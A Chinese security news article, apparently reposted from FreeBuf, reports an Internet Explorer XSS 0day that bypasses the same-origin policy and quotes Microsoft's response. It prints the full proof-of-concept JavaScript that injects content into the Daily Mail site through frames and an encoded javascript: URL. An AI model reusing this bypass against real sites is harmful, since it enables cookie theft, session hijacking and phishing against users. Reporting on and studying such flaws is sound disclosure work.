最新XSS 0day漏洞来袭，影响最新版本IE浏览器（含POC）

安全研究人员近日发现了一个严重的XSS 0day漏洞，该漏洞可影响最新版本的IE浏览器，将用户暴露在被攻击和身份盗窃的危险之中。

漏洞信息

该漏洞能够影响完全修复过的IE浏览器，黑客可以利用该漏洞盗取用户的敏感数据（例如登录凭证），并能向浏览器会话注入恶意内容。

攻击者利用该XSS漏洞可以绕过同源策略（SOP）。同源策略是web应用中一个基本的安全模型，用来保护用户的浏览体验。

同源策略在维基百科上的解释为：

“该策略允许同一站点（系统、主机名和端口号的组合）页面上的脚本访问彼此的DOM，而没有特定的限制，但阻止访问不同站点上的DOM。”

漏洞POC

上周Deusen公布了一个 POC利用 ，以此演示当用户使用完全修补的IE浏览器访问特定的网页时如何绕过SOP。该Demo向《每日邮报》官方网站中注入了“Hacked by Deusen”的内容。

以同样的方式，一旦攻击者登录网站，他们就可以冒充受害者从该网站盗取身份验证cookie。一旦得到cookie，攻击者就可以访问某些限制区 域，而正常情况下该区域只有受害者能访问，包括信用卡数据、浏览历史和其他机密数据。此外，钓鱼网站也可以利用该漏洞诱骗网民泄露他们在敏感网站的登录密 码。

下面是绕过IE浏览器中同源策略所使用的代码：

function go()  {     w=window.frames[0];     w.setTimeout("alert(eval('x=top.frames[1];r=confirm(\\'Closethis window after 3seconds...\\');x.location=\\'javascript:%22%3Cscript%3Efunction%20a()%7Bw.document.body.innerHTML%3D%27%3Ca%20style%3Dfont-size%3A50px%3EHacked%20by%20Deusen%3C%2Fa%3E%27%3B%7D%20function%20o()%7Bw%3Dwindow.open(%27http%3A%2F%2Fwww.dailymail.co.uk%27%2C%27_blank%27%2C%27top%3D0%2C%20left%3D0%2C%20width%3D800%2C%20height%3D600%2C%20location%3Dyes%2C%20scrollbars%3Dyes%27)%3BsetTimeout(%27a()%27%2C7000)%3B%7D%3C%2Fscript%3E%3Ca%20href%3D%27javascript%3Ao()%3Bvoid(0)%3B%27%3EGo%3C%2Fa%3E%22\\';'))",1);  }  setTimeout("go()",1000);

微软回应

微软表示已经开始修复该漏洞。微软确认目前还没有收到大量漏洞利用的案例。

“我们还没听说这个漏洞被大量利用，目前我们正在进行安全更新。另外，要利用该漏洞，攻击者需要首先诱导用户进入一个恶意网站，这一步经常通过网络钓鱼来实现。不过，在新版本的IE浏览器中默认开启的SmartScreen功能，能够保护用户免受钓鱼网站危害。  我们将继续鼓励用户不要打开来源不明的的链接，同时也不要访问不可信的网站。并且，为了保护用户的信息，我们建议在离开网站时要及时注销登录的账号。”

微软解释说，攻击者必须首先诱导受害者访问一个恶意网站，这一般可以通过几种方式简单地实现：例如，可以通过垃圾邮件分享一个链接，或者通过社交网络来实现。

接下来，让我们共同等待微软修复漏洞吧。

[参考来源 SecurityAffairs ，转载请注明来自FreeBuf黑客与极客（FreeBuf.COM）]